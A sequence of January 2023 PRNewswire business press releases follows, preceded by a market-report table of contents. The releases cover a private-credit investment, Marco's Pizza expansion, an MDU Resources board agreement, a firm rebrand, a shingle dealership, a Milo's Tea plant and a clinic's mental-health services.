Exhibit 42: Chart on Home accessories - Market size and forecast 2022-2027 ($ million)



Exhibit 43: Data Table on Home accessories - Market size and forecast 2022-2027 ($ million)



Exhibit 44: Chart on Home accessories - Year-over-year growth 2022-2027 (%)



Exhibit 45: Data Table on Home accessories - Year-over-year growth 2022-2027 (%)

6.6 Market opportunity by Product

Exhibit 46: Market opportunity by Product ($ million)

7 Market Segmentation by Channel

7.1 Market segments

Exhibit 47: Chart on Channel - Market share 2022-2027 (%)



Exhibit 48: Data Table on Channel - Market share 2022-2027 (%)

7.2 Comparison by Channel

Exhibit 49: Chart on Comparison by Channel



Exhibit 50: Data Table on Comparison by Channel

7.3 Multibrand - Market size and forecast 2022-2027

Exhibit 51: Chart on Multibrand - Market size and forecast 2022-2027 ($ million)



Exhibit 52: Data Table on Multibrand - Market size and forecast 2022-2027 ($ million)



Exhibit 53: Chart on Multibrand - Year-over-year growth 2022-2027 (%)



Exhibit 54: Data Table on Multibrand - Year-over-year growth 2022-2027 (%)

7.4 Monobrand - Market size and forecast 2022-2027

Exhibit 55: Chart on Monobrand - Market size and forecast 2022-2027 ($ million)



Exhibit 56: Data Table on Monobrand - Market size and forecast 2022-2027 ($ million)



Exhibit 57: Chart on Monobrand - Year-over-year growth 2022-2027 (%)



Exhibit 58: Data Table on Monobrand - Year-over-year growth 2022-2027 (%)

7.5 Market opportunity by Channel

Exhibit 59: Market opportunity by Channel ($ million)

8 Customer Landscape

8.1 Customer landscape overview

Exhibit 60: Analysis of price sensitivity, lifecycle, customer purchase basket, adoption rates, and purchase criteria

9 Geographic Landscape

9.1 Geographic segmentation

Exhibit 61: Chart on Market share by geography 2022-2027 (%)



Exhibit 62: Data Table on Market share by geography 2022-2027 (%)

9.2 Geographic comparison

Exhibit 63: Chart on Geographic comparison



Exhibit 64: Data Table on Geographic comparison

9.3 APAC - Market size and forecast 2022-2027

Exhibit 65: Chart on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 66: Data Table on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 67: Chart on APAC - Year-over-year growth 2022-2027 (%)



Exhibit 68: Data Table on APAC - Year-over-year growth 2022-2027 (%)

9.4 North America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 69: Chart on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 70: Data Table on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 71: Chart on North America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 72: Data Table on North America - Year-over-year growth 2022-2027 (%)

9.5 Europe - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 73: Chart on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 74: Data Table on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 75: Chart on Europe - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 76: Data Table on Europe - Year-over-year growth 2022-2027 (%)

9.6 Middle East and Africa - Market size and forecast 2022-2027

and - Market size and forecast 2022-2027 Exhibit 77: Chart on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 78: Data Table on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 79: Chart on Middle East and Africa - Year-over-year growth 2022-2027 (%)

and - Year-over-year growth 2022-2027 (%)

Exhibit 80: Data Table on Middle East and Africa - Year-over-year growth 2022-2027 (%)

9.7 South America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 81: Chart on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 82: Data Table on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 83: Chart on South America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 84: Data Table on South America - Year-over-year growth 2022-2027 (%)

9.8 China - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 85: Chart on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 86: Data Table on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 87: Chart on China - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 88: Data Table on China - Year-over-year growth 2022-2027 (%)

9.9 US - Market size and forecast 2022-2027

Exhibit 89: Chart on US - Market size and forecast 2022-2027 ($ million)



Exhibit 90: Data Table on US - Market size and forecast 2022-2027 ($ million)



Exhibit 91: Chart on US - Year-over-year growth 2022-2027 (%)



Exhibit 92: Data Table on US - Year-over-year growth 2022-2027 (%)

9.10 Japan - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 93: Chart on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 94: Data Table on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 95: Chart on Japan - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 96: Data Table on Japan - Year-over-year growth 2022-2027 (%)

9.11 Italy - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 97: Chart on Italy - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 98: Data Table on Italy - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 99: Chart on Italy - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 100: Data Table on Italy - Year-over-year growth 2022-2027 (%)

9.12 France - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 101: Chart on France - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 102: Data Table on France - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 103: Chart on France - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 104: Data Table on France - Year-over-year growth 2022-2027 (%)

9.13 Market opportunity by geography

Exhibit 105: Market opportunity by geography ($ million)

10 Drivers, Challenges, and Trends

10.1 Market drivers

10.2 Market challenges

10.3 Impact of drivers and challenges

Exhibit 106: Impact of drivers and challenges in 2022 and 2027

10.4 Market trends

11 Vendor Landscape

11.1 Overview

11.2 Vendor landscape

Exhibit 107: Overview on Criticality of inputs and Factors of differentiation

11.3 Landscape disruption

Exhibit 108: Overview on factors of disruption

11.4 Industry risks

Exhibit 109: Impact of key risks on business

12 Vendor Analysis

12.1 Vendors covered

Exhibit 110: Vendors covered

12.2 Market positioning of vendors

Exhibit 111: Matrix on vendor position and classification

12.3 ASOS Plc

Exhibit 112: ASOS Plc - Overview



Exhibit 113: ASOS Plc - Business segments



Exhibit 114: ASOS Plc - Key news



Exhibit 115: ASOS Plc - Key offerings



Exhibit 116: ASOS Plc - Segment focus

12.4 Authentic Brands Group LLC

Exhibit 117: Authentic Brands Group LLC - Overview



Exhibit 118: Authentic Brands Group LLC - Product / Service



Exhibit 119: Authentic Brands Group LLC - Key offerings

12.5 Bed Bath and Beyond Inc.

Exhibit 120: Bed Bath and Beyond Inc. - Overview



Exhibit 121: Bed Bath and Beyond Inc. - Product / Service



Exhibit 122: Bed Bath and Beyond Inc. - Key news



Exhibit 123: Bed Bath and Beyond Inc. - Key offerings

12.6 Burberry Group Plc

Exhibit 124: Burberry Group Plc - Overview



Exhibit 125: Burberry Group Plc - Business segments



Exhibit 126: Burberry Group Plc - Key offerings



Exhibit 127: Burberry Group Plc - Segment focus

12.7 CHANEL Ltd.

Exhibit 128: CHANEL Ltd. - Overview



Exhibit 129: CHANEL Ltd. - Business segments



Exhibit 130: CHANEL Ltd. - Key offerings



Exhibit 131: CHANEL Ltd. - Segment focus

12.8 Compagnie Financiere Richemont SA

Exhibit 132: Compagnie Financiere Richemont SA - Overview



Exhibit 133: Compagnie Financiere Richemont SA - Business segments



Exhibit 134: Compagnie Financiere Richemont SA - Key offerings



Exhibit 135: Compagnie Financiere Richemont SA - Segment focus

12.9 Crate and Barrel

Exhibit 136: Crate and Barrel - Overview



Exhibit 137: Crate and Barrel - Product / Service



Exhibit 138: Crate and Barrel - Key offerings

12.10 Harrods Ltd.

Exhibit 139: Harrods Ltd. - Overview



Exhibit 140: Harrods Ltd. - Product / Service



Exhibit 141: Harrods Ltd. - Key offerings

12.11 Hennes and Mauritz AB

Exhibit 142: Hennes and Mauritz AB - Overview



Exhibit 143: Hennes and Mauritz AB - Product / Service



Exhibit 144: Hennes and Mauritz AB - Key offerings

12.12 Hermes International SA

Exhibit 145: Hermes International SA - Overview



Exhibit 146: Hermes International SA - Business segments



Exhibit 147: Hermes International SA - Key offerings



Exhibit 148: Hermes International SA - Segment focus

12.13 Hudsons Bay Co.

Exhibit 149: Hudsons Bay Co. - Overview



Exhibit 150: Hudsons Bay Co. - Product / Service



Exhibit 151: Hudsons Bay Co. - Key offerings

12.14 Inter IKEA Systems B.V.

Exhibit 152: Inter IKEA Systems B.V. - Overview



Exhibit 153: Inter IKEA Systems B.V. - Product / Service



Exhibit 154: Inter IKEA Systems B.V. - Key offerings

12.15 Luxuryperfume.com Inc

Exhibit 155: Luxuryperfume.com Inc - Overview



Exhibit 156: Luxuryperfume.com Inc - Product / Service



Exhibit 157: Luxuryperfume.com Inc - Key offerings

12.16 Moda Operandi Inc.

Exhibit 158: Moda Operandi Inc. - Overview



Exhibit 159: Moda Operandi Inc. - Product / Service



Exhibit 160: Moda Operandi Inc. - Key offerings

12.17 SDI (Brands 2) Ltd.

Exhibit 161: SDI (Brands 2) Ltd. - Overview



Exhibit 162: SDI (Brands 2) Ltd. - Product / Service



Exhibit 163: SDI (Brands 2) Ltd. - Key offerings

13 Appendix

13.1 Scope of the report

13.2 Inclusions and exclusions checklist

Exhibit 164: Inclusions checklist



Exhibit 165: Exclusions checklist

13.3 Currency conversion rates for US$

Exhibit 166: Currency conversion rates for US$

13.4 Research methodology

Exhibit 167: Research methodology



Exhibit 168: Validation techniques employed for market sizing



Exhibit 169: Information sources

13.5 List of abbreviations

Exhibit 170: List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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Email: [email protected]

Website: www.technavio.com/

SOURCE Technavio
Invests $40.0 Million in Gamber-Johnson, LLC to Support Acquisition

HOUSTON, Jan. 24, 2023 /PRNewswire/ -- Main Street Capital Corporation (NYSE: MAIN) ("Main Street") is pleased to announce that it recently completed a follow-on investment in an existing portfolio company. Main Street, along with its co-investor, made the follow-on investment in Gamber-Johnson, LLC ("Gamber-Johnson" or the "Company") to support the Company's acquisition of Lind Electronic Design Company, Inc. ("Lind"). Headquartered in Minnetonka, Minnesota, Lind is a manufacturer and supplier of rugged mobile power solutions to the public safety, U.S. Military and warehousing industries. Lind's product offering includes rugged mobile power adapters, battery chargers, USB adapters, shutdown timers and cabling. Main Street, along with its co-investor, facilitated the transaction, with Main Street's follow-on investment consisting of an additional $40.0 million first lien, senior secured term debt investment. This follow-on investment represents Main Street's fifth follow-on investment in the Company after initially partnering with the Company's management team to acquire the Company in June 2016.

Founded in 1954 and headquartered in Stevens Point, Wisconsin, Gamber-Johnson is a leading worldwide supplier of rugged mounting solutions and cases that safely secure and protect mobile communication systems, computers and other electronic equipment in fleet and public safety vehicles, forklifts, semi-trucks and professional audiovisual applications. Gamber-Johnson's products are used by law enforcement, enterprise, military and warehouse fleets around the globe and are known for being rugged, reliable and responsive.

ABOUT MAIN STREET CAPITAL CORPORATION

Main Street ( www.mainstcapital.com ) is a principal investment firm that primarily provides long-term debt and equity capital to lower middle market companies and debt capital to middle market companies. Main Street's portfolio investments are typically made to support management buyouts, recapitalizations, growth financings, refinancings and acquisitions of companies that operate in diverse industry sectors. Main Street seeks to partner with entrepreneurs, business owners and management teams and generally provides "one stop" financing alternatives within its lower middle market investment strategy. Main Street's lower middle market companies generally have annual revenues between $10 million and $150 million. Main Street's middle market debt investments are made in businesses that are generally larger in size than its lower middle market portfolio companies.

Main Street, through its wholly owned portfolio company MSC Adviser I, LLC ("MSC Adviser"), also maintains an asset management business through which it manages investments for external parties. MSC Adviser is registered as an investment adviser under the Investment Advisers Act of 1940, as amended.

Contacts:

Main Street Capital Corporation

Dwayne L. Hyzak, CEO, [email protected]

Jesse E. Morris, CFO & COO, [email protected]

713-350-6000

Dennard Lascar Investor Relations

Ken Dennard | [email protected]

Zach Vaughan | [email protected]

713-529-6600

SOURCE Main Street Capital Corporation
Nation's Fastest-Growing Pizza Brand* Prioritizes Development, Technology Innovation & Community Giveback in 2023

TOLEDO, Ohio, Jan. 24, 2023 /PRNewswire/ -- Marco's Pizza, the nation's fastest-growing pizza brand*, closes out a historic 2022 reaching key milestones with the opening of its 1,100th store and surpassing $1B in annual systemwide sales. All this, while growing same-store sales year-over-year, securing its position as America's No. 5 pizza brand by sales,** and being named a Top 10 Favorite QSR Brand among consumers, according to the 2022 Market Force Information Study.

At the crux of Marco's ongoing growth is its renowned high-quality pizza which has provided the basic foundation to scale. Accelerating into the fifth position amongst pizza royalty, the brand looks to a 2023 filled with record-breaking development goals, the opening of its 1,200th store, rollout of its own 100% cloud-based technology platform - Marco's Order Management System (MOMS), and more support of community organizations nationwide with the announcement of The Marco's Pizza Foundation's inaugural initiative.

Multi-unit growth will guide Marco's 2023 development strategy as franchise expansion surges with more than 200 stores in various stages of development, and more than 350 agreements signed. In 2022, Marco's opened 90-plus stores and awarded 140 franchises. In the last six years, the fast-growth brand has doubled its store footprint and has no intention of slowing down. With vast whitespace across the country, company leadership has identified 4,200 potential U.S. locations.

To support this unparalleled growth trajectory, Marco's recently elevated its development executive leadership, led by Chief Development Officer Gerardo Flores, David Gladstone  VP of Construction, and Paul Williams  VP of Real Estate. Under new leadership, Marco's is optimizing and innovating its franchise development program by streamlining the process and driving strategic geographic expansion.

Alongside growth, Marco's continues to prioritize maximizing franchisee profits with strong unit-level economics. Nation's Restaurant News Top 500 Report shows Marco's achieved the highest percent year-over-year sales change (+18.2%) when compared to the nation's top 4 pizza brands, making Marco's the No. 5 pizza brand in systemwide sales in America**. Now, Marco's has its sights set on becoming the No. 4 brand in pizza as it experienced a 12.8% increase in year-over-year Average Unit Volume (AUV), and the Top 50% of Marco's franchised stores generated $1,198,201 AUV for 2021***.

Key to Marco's strong performance in 2023 will be the technology rollout of MOMS in-house platform. The fully integrated enterprise technology infrastructure supports payment processing, the point-of-sale (POS) system, including features such as conversational ordering, labor scheduling, inventory management, and real-time reporting dashboards with centralized data management capabilities.

This platform is set to be a revolutionary step for the brand as it is designed to improve the customer experience as well as simplify operations for the franchisees and store team members. By housing its own data, the system can also enable a variety of applications both now and in the future, allowing Marco's to respond to rapid digital change.

This is one of many projects Marco's is embarking on after announcing the investment of millions of dollars in technology innovations through the next few years. Such projects include exploring voice-to-text ordering, continued adoption of third-party delivery, utilizing AI and machine learning to generate automated promise times, and more. Marco's is prioritizing technologies that create a better frictionless customer experience with a focus on improving store-level profitability.

"With an eye on the future and becoming the No. 4 brand in pizza, MOMS is exactly the type of innovation that will help get us there," said Tony Libardi, Co-CEO & President of Marco's Pizza. "With strong initiatives underway from development to technology to new product offerings, and The Marco's Pizza Foundation initiative on the horizon, 2023 is poised to be a remarkable year. There's truly never been a more opportune time to join our brand as we continue this momentous growth trajectory in 2023."

The brand's impressive performance has earned multiple awards and recognition: Ranking in Newsweek's 2023 America's Best Customer Service in the pizza chains category, earning a spot on QSR's Top 50  ranking No. 1 in the pizza category for guest satisfaction, appearing six consecutive years on Nation's Restaurant News' prestigious Top 500 ranking, and claiming the No. 51 spot on Entrepreneur's 2023 Franchise 500 ranking.

With prime territories available, Marco's provides a full development support system, including technology and tools to help identify the right territories for expansion plus expertise in financing, real estate, construction management, and field operations, to assist franchisees and multi-unit operators. According to FRANdata, a leading research and advisory firm that analyzes the franchise market, Marco's 2022 FUND Score of 895 is in the top 1% of all evaluated franchise systems and is the 2nd highest score among all evaluated food franchises.

For more information on Marco's Pizza franchise opportunities, visit https://www.marcos.com/franchising/ or call 866-731-8209 to speak with Shannon Iverson, Vice President of Franchise Sales.

ABOUT MARCO'S PIZZA

Marco's Pizza is one of America's Top 10 Favorite QSR Brands according to the 2022 Market Force Information Study. Headquartered in Toledo, Ohio, Marco's Pizza is the fastest-growing pizza brand in the United States*. Marco's was founded in 1978 by Italian-born Pasquale ("Pat") Giammarco and thrives to deliver a high-quality pizza experience, known for its dough made from scratch and its three fresh signature cheeses. The company has grown from its roots as a beloved Ohio brand to operate over 1,100 stores in 34 states with locations in Puerto Rico and the Bahamas. Most recently, Marco's Pizza was ranked No. 51 on Entrepreneur Magazine's 2023 "Franchise 500" ranking. Other recent accolades include a high ranking on Newsweek's 2023 "America's Best Customer Service" in pizza chains list, ranked No. 40 on QSR's Top 50 and has been featured six consecutive years on Nation's Restaurant News' prestigious "Top 500" ranking.

*Marco's Pizza is the fastest-growing pizza brand based on year-over-year unit growth, according to 2021 NRN Top 500 U.S. Restaurant Ranking LSR Pizza Segment.

**Marco's is now the 5th largest pizza brand in systemwide sales, according to 2021 NRN Top 500 US Restaurant Ranking LSR Pizza Segment."

***Based on the Average Unit Volume of the top 50% of our Franchised Stores for fiscal year 2021. Based on fiscal year 2021, 146 of 389 Franchised Stores in the category (38%) met or exceeded this average. This information appears in Item 19 of our current FDD  please refer to our FDD for complete information on financial performance. Results may differ. There is no assurance that any franchisee will perform as well.

SOURCE Marco's Pizza
BISMARCK, N.D., Jan. 24, 2023 /PRNewswire/ -- MDU Resources Group, Inc. (NYSE: MDU) today announced that it has entered into a cooperation agreement with Corvex Management LP under which Corvex Partner James H. Gemmel will be appointed to MDU Resources' board of directors, subject to approval by the Federal Energy Regulatory Commission (FERC) under the Federal Power Act.

Initially, Mr. Gemmel will be appointed as a non-voting observer of MDU Resources' board of directors. Following the required FERC approval, the size of MDU Resources' board of directors will increase by one director and Mr. Gemmel will be appointed to fill the new director position.

"MDU Resources continues to make meaningful progress toward completing the planned spinoff of our Knife River construction materials business, and we are moving forward in parallel with the strategic review of MDU Construction Services Group. As we execute on these significant initiatives, we believe James will add to the diversity of experience and expertise already represented on our board. We are pleased to have been able to work constructively with Corvex and value their input into the value-enhancing work underway," said Dennis W. Johnson, chair of the board.

"We appreciate the productive engagement we have had with MDU Resources' board and management team. We believe they are committed to unlocking the value of MDU Resources' world-class assets through the spinoff of Knife River and recently announced strategic alternatives process for MDU Construction Services Group. This is an important time for MDU Resources and as a significant investor with deep industry and financial expertise, we believe we can be value-added partners. We look forward to working with Dave Goodin, his team and the board to execute on the company's strategic goal of setting up two pure-play public companies with industry-leading performance," said Mr. Gemmel.

Under the cooperation agreement, if the FERC approval for Mr. Gemmel's appointment as a director is received at least 15 business days prior to the date on which MDU Resources expects to mail its proxy statement relating to its upcoming 2023 Annual Meeting of Stockholders, then Mr. Gemmel will be appointed to the board for a term expiring at the 2023 Annual Meeting and MDU Resources will nominate him for re-election at the 2023 Annual Meeting. If the FERC approval is received less than 15 business days prior to the expected mailing date of the proxy statement, Mr. Gemmel will be appointed to the board immediately after receipt of the FERC approval or the conclusion of the 2023 Annual Meeting, whichever is later, with a term to expire at the 2024 Annual Meeting. MDU Resources' 2023 Annual Meeting is scheduled for May 9.

In addition, Corvex has, among other things, agreed to abide by certain standstill, voting and other provisions of the cooperation agreement. Under the cooperation agreement, Mr. Gemmel will offer his resignation from the board under certain circumstances, including completion of the separation of both MDU Resources' Knife River business and MDU Resources' MDU Construction Services Group business. The cooperation agreement is included as an exhibit to a Current Report on Form 8-K filed by MDU Resources with the U.S. Securities and Exchange Commission.

J.P. Morgan Securities LLC and PJT Partners are serving as financial advisors to MDU Resources and Wachtell, Lipton, Rosen & Katz is serving as its legal advisor.

About James Gemmel

James H. Gemmel is a Partner at Corvex Management, a multibillion-dollar investment management firm that focuses on fundamental, valued-based investments. Mr. Gemmel has spent 15 years in professional investment management performing deep fundamental research and making concentrated investments in companies across a range of sectors. Mr. Gemmel has significant experience working collaboratively with management teams and boards of directors to create shareholder value, including several of the largest U.S. corporations: Exelon Corp., Occidental Petroleum, and The Williams Companies. Before joining Corvex, Mr. Gemmel worked as an investment analyst at Federated Hermes Inc. and as an investment analyst for the Prudent Bear Fund of David W. Tice & Associates. He has a bachelor's degree in economics from Southern Methodist University, Dallas, Texas.

About MDU Resources

MDU Resources Group, Inc., a member of the S&P MidCap 400 and the S&P High-Yield Dividend Aristocrats indices, is Building a Strong America by providing essential products and services through its regulated energy delivery and construction materials and services businesses. For more information about MDU Resources, visit www.mdu.com or contact the Investor Relations Department at [email protected].

Forward-Looking Statement

The information in this release includes certain forward-looking statements within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended. The forward-looking statements contained in this release, including statements about the receipt of required regulatory approvals for Mr. Gemmel's appointment as a member of the MDU Resources board of directors, as well as MDU Resources' goal to create two pure-play public companies, its planned separation of Knife River Corporation and its strategic review of MDU Construction Services Group, are expressed in good faith and are believed by the company to have a reasonable basis. Nonetheless, actual results may differ materially from the projected results expressed in the forward-looking statements. For a discussion of important factors that could cause actual results to differ materially from those expressed in the forward-looking statements, refer to Item 1A-Risk Factors in MDU Resources' most recent Form 10-Q and 10-K.

Media Contact: Laura Lueder, manager of communications and public relations, 701-530-1095

Financial Contact: Brent Miller, director of financial projects and investor relations, 701-530-1730

SOURCE MDU Resources Group, Inc.
DC-based firm streamlines operations in North America and UK under the MGAC brand

WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- MGAC, the leading U.S.-headquartered global project management and owner's representation firm, has announced the rebranding of the entire company under the MGAC banner. As of today, all global offices of MGAC will now be known by the single, unified brand of MGAC. In the UK, this will include the rebranding of MGAC | RLF, which was acquired by MGAC in October 2021.

The rebrand comes at a time when MGAC has seen prodigious growth across its North American and European teams, expanding in the past year to more than 280 employees serving a fully diversified range of clients from the firm's 10 offices.

With more than 180 people across six offices in the U.S. and Canada, the new MGAC brand leverages the collective resources of the entire global firm, while maintaining essential local knowledge and expertise. Core services include project management, cost management, program management, technology solutions, and FF&E procurement. MGAC has led projects for clients such as the NFL, Freddie Mac, T-Mobile, TikTok, Johns Hopkins University, Marriott International, and Hilton, among many others.

"Today's announcement represents the next growth phase of MGAC," said Mark Anderson, President and Chief Executive Officer, MGAC. "We have built a reputation across North America and abroad as trusted advisors, guiding clients from inception to project completion and pushing the boundaries of what can be expected through a proactive approach that consistently prioritizes fresh ideas, minimizes the effects of external disruptions, and -- most importantly -- brings our clients' missions to fruition."

"We remain committed to our clients and are eager to leverage our global footprint to better serve our current clients in Europe and across the globe," said Steve Hay, Chief Operating Officer and Managing Director, MGAC. "The consolidation of the brand only furthers our mission to provide the highest quality services to our clients and to continue leading solutions, realizing our clients' visions across the many sectors we support."

"We do the coolest and most interesting projects," added Anderson. "We have the privilege of working on these projects because we thrive on the challenge of moving beyond cookie-cutter practices to find the best solutions. We see possibility and opportunity in the most challenging work. Those challenges drive us to do better for our clients."

About MGAC

MGAC is a global boutique consultancy dedicated to managing and representing its clients' best interests. Its success is rooted in hiring exceptional people who are driven to do challenging work with the unique blend of experience, integrity, creativity, and commitment that separates it from its competitors.

MGAC provides best-in-class services that include project management, program management, project controls, cost management, schedule management, technology solutions, FF&E procurement, relocation management, and health + safety. The firm has the ability to integrate these services to provide a completely customized and tailored solution to suit its clients' project or program specific needs.

With ten offices located throughout the United States, Canada, and the United Kingdom, MGAC prides itself on being large enough to offer global services, but pragmatic in its approach so they can provide the level of personal care and attention-to-detail that their clients deserve. For more information, visit www.mgac.com.

SOURCE MGAC
QUEBEC CITY, Jan. 24, 2023 /PRNewswire/ -- Tando Composites announces Mid-Cape Home Centers, a Division of US LBM, as a flagship dealer in Massachusetts for Beach House Shake, the authentic composite shingle. The largest building materials dealer covering Cape Cod and the South Shore with six locations, Mid-Cape Home Centers has supplied New England's builders, remodelers and homeowners with lumber and specialty building products for more than 125 years.

"At Mid Cape, we have served multiple generations on the Cape and surrounding communities since 1895 and we're known for supplying natural cedar shingles - part of the beauty and charm of this region," said Jack Stevenson, President, Mid-Cape Home Centers. "For the past several years, the demand of cedar shingles has outpaced the available supply. We've been researching alternative offerings to complement our natural cedar shingle business. It was paramount that the new product protects both the tradition and beauty of the Cape. We were looking for a product with the undeniable appearance of bleached cedar shingles. Additionally, unmatched performance and ease of installation were "must haves". After years of evaluating many alternatives, we're excited to select Beach House Shake as the brand that has the appearance, performance, and application ease for our customers."

Ralph Bruno, CEO and President of Derby Building Products, noted that Mid-Cape's commitment to Beach House Shake is a testament to the product's beauty and durability. Said Bruno, "We're honored to have Mid-Cape as our flagship dealer on the Cape. Consumer demand for Beach House Shake in this market has been extraordinary and Mid-Cape's leadership and commitment will ensure it's easy to buy."

Beach House Shake delivers the coveted charm and beauty of natural cedar shingles down to the last detail - with natural color variations, genuine saw cuts, and detailed grain patterns of natural cedar shingles. Its architecturally precise 5" re-squared and rebutted lines create individual shingles as unique as they are beautiful. And with the proven performance and durability of a composite, Beach House Shake stays looking like the day it was installed for years, backed by a Beautiful Freedom 20-year limited warranty.

Beach House Shake is available in four natural cedar shades: Atlantica, a silvery gray reminiscent of bleached cedar shingles; Sandcastle, a fresh white cedar; Hatteras, a deeper gray found in southern coastal regions; and Pacifica, a fresh western red cedar shingle.

About Tando Composites

Tando, a brand of Derby Building Products, is the leader in composite exterior cladding with Beach House Shake, the authentic composite shingle, and TandoStone, the #1 brand of composite stone. Backed by more than five decades of product innovation, Tando produces high performance products professionals prefer and consumers demand. For more information on Beach House Shake or TandoStone, visit www.beachhouseshake.com or www.tandobp.com.

About Mid-Cape Home Centers

Since 1895, Mid-Cape Home Centers has been serving building professionals on Cape Cod, the Islands and South Shore. Whether you are a contractor, architect, designer or specifier, or DIYer, Mid-Cape Home Centers is your one-stop resource for all of your building needs. Our team of experts is prepared to assist you with every step of your project from start to finish. Learn more about Mid-Cape Home Centers at www.midcape.com.

SOURCE Derby Building Products
BESSEMER, Ala., Jan. 24, 2023 /PRNewswire/ -- Milo's Tea Company, a 76-year-old Alabama-based national beverage company, today announced it will invest over $130 million initially to build a new manufacturing and distribution facility in Spartanburg County, South Carolina. In the beginning, this new facility will bring more than 100 jobs to the area. This new investment is a direct response to the growth of the Milo's brand, which is America's #1 refrigerated tea and fastest growing lemonade. * Milo's expects to break ground by mid-March 2023 and start production of its famous tea and lemonade in fall 2024.

After a multi-year site selection process, the company chose the 48-acre campus at the corner of U.S. Highway 290 and U.S. Highway 221 in Moore, South Carolina. The 110,000 square-foot facility will be the fourth production plant for the company. Milo's other manufacturing facilities are located in the Tulsa, Oklahoma area and Bessemer and Homewood, Alabama. The move to South Carolina supports the company's goal of expanding its production of all-natural teas and best tasting beverages. Milo's also plans on adding additional lines of production over the coming years.

"South Carolina was the optimal location to efficiently serve our customers up and down the east coast. Like our selection journey for our Oklahoma facility, we immediately felt at home in the Spartanburg area as we received a warm welcome from state and local community partners," CEO Tricia Wallwork stated. "South Carolina and Spartanburg County in particular proved to be the right ecosystem to help us advance our People First culture by offering an excellent standard of living for our associates and robust workforce development resources to drive economic prosperity not only for our people but also for the region."

"South Carolina's beverage industry continues to expand because of the addition of leading businesses such as Milo's Tea Company. Their investment and the creation of new jobs will greatly enhance the Spartanburg County community and the state," said South Carolina Governor Henry McMaster.

Milo's was diligent to ensure the water quality of the region could match its consistent taste and quality, sending multiple tanker trucks of water to its Bessemer plant to validate flavor consistency.

"Our third-generation family business was founded by my grandfather, Milo Carlton, in north Birmingham, Alabama, and our purpose is and always has been to spark joy in everyday moments with our associates, customers, fans, and the communities we serve," said Wallwork. "We call these Milo's Moments, and we can't wait to make more of these in Upstate South Carolina as we join this vibrant community."

*Nielsen Data

Link to Virtual Press Kit

About Milo's Tea Company

Milo's Tea Company is a family-owned, Certified Women-Owned Business with corporate headquarters in Birmingham, Alabama. Milo's has been brewing the best tasting, closest-to-homemade iced tea for three generations and counting. Milo's teas and lemonades taste just like homemade because our family recipe includes only a few simple, 100 percent natural ingredients and does not contain preservatives or added colors. Milo's can be found in the refrigerated section of thousands of retailers across the United States. Learn more at www.drinkmilos.com.

Media Contact: Caroline Balchunas

[email protected]

SOURCE Milos Tea Company
Actively Addresses Rise in Addiction, Depression, and Anxiety

FORT LAUDERDALE, Fla., Jan. 24, 2023 /PRNewswire/ -- IMG Health Clinic, (IMG) a healthcare provider specializing in testing, treatment, and management of HIV, Hepatitis C, STDs, and PrEP, recently broadened its services to offer mental health care. According to the National Alliance of Mental Health, 1-in-5 Americans experience mental illness and almost 10% of Americans experience mental illness that negatively compromises daily activities and quality of life. Scientific evidence supports the impact of mental health on physical health. For example, depression, chronic stress, and unmanaged anxiety has been linked to long lasting conditions such as heart disease and stroke.

Dr. Kishma Victor, President of IMG is spearheading all initiatives to meet the mental health needs of patients that mostly live in vulnerable and marginalized communities. Alongside a treatment team of highly accomplished board-certified psychiatrists, and licensed doctoral and master's level clinicians, Dr. Victor champions for mental health, overall wellness, resilience, and recovery services for those struggling with addiction across the State of Florida.

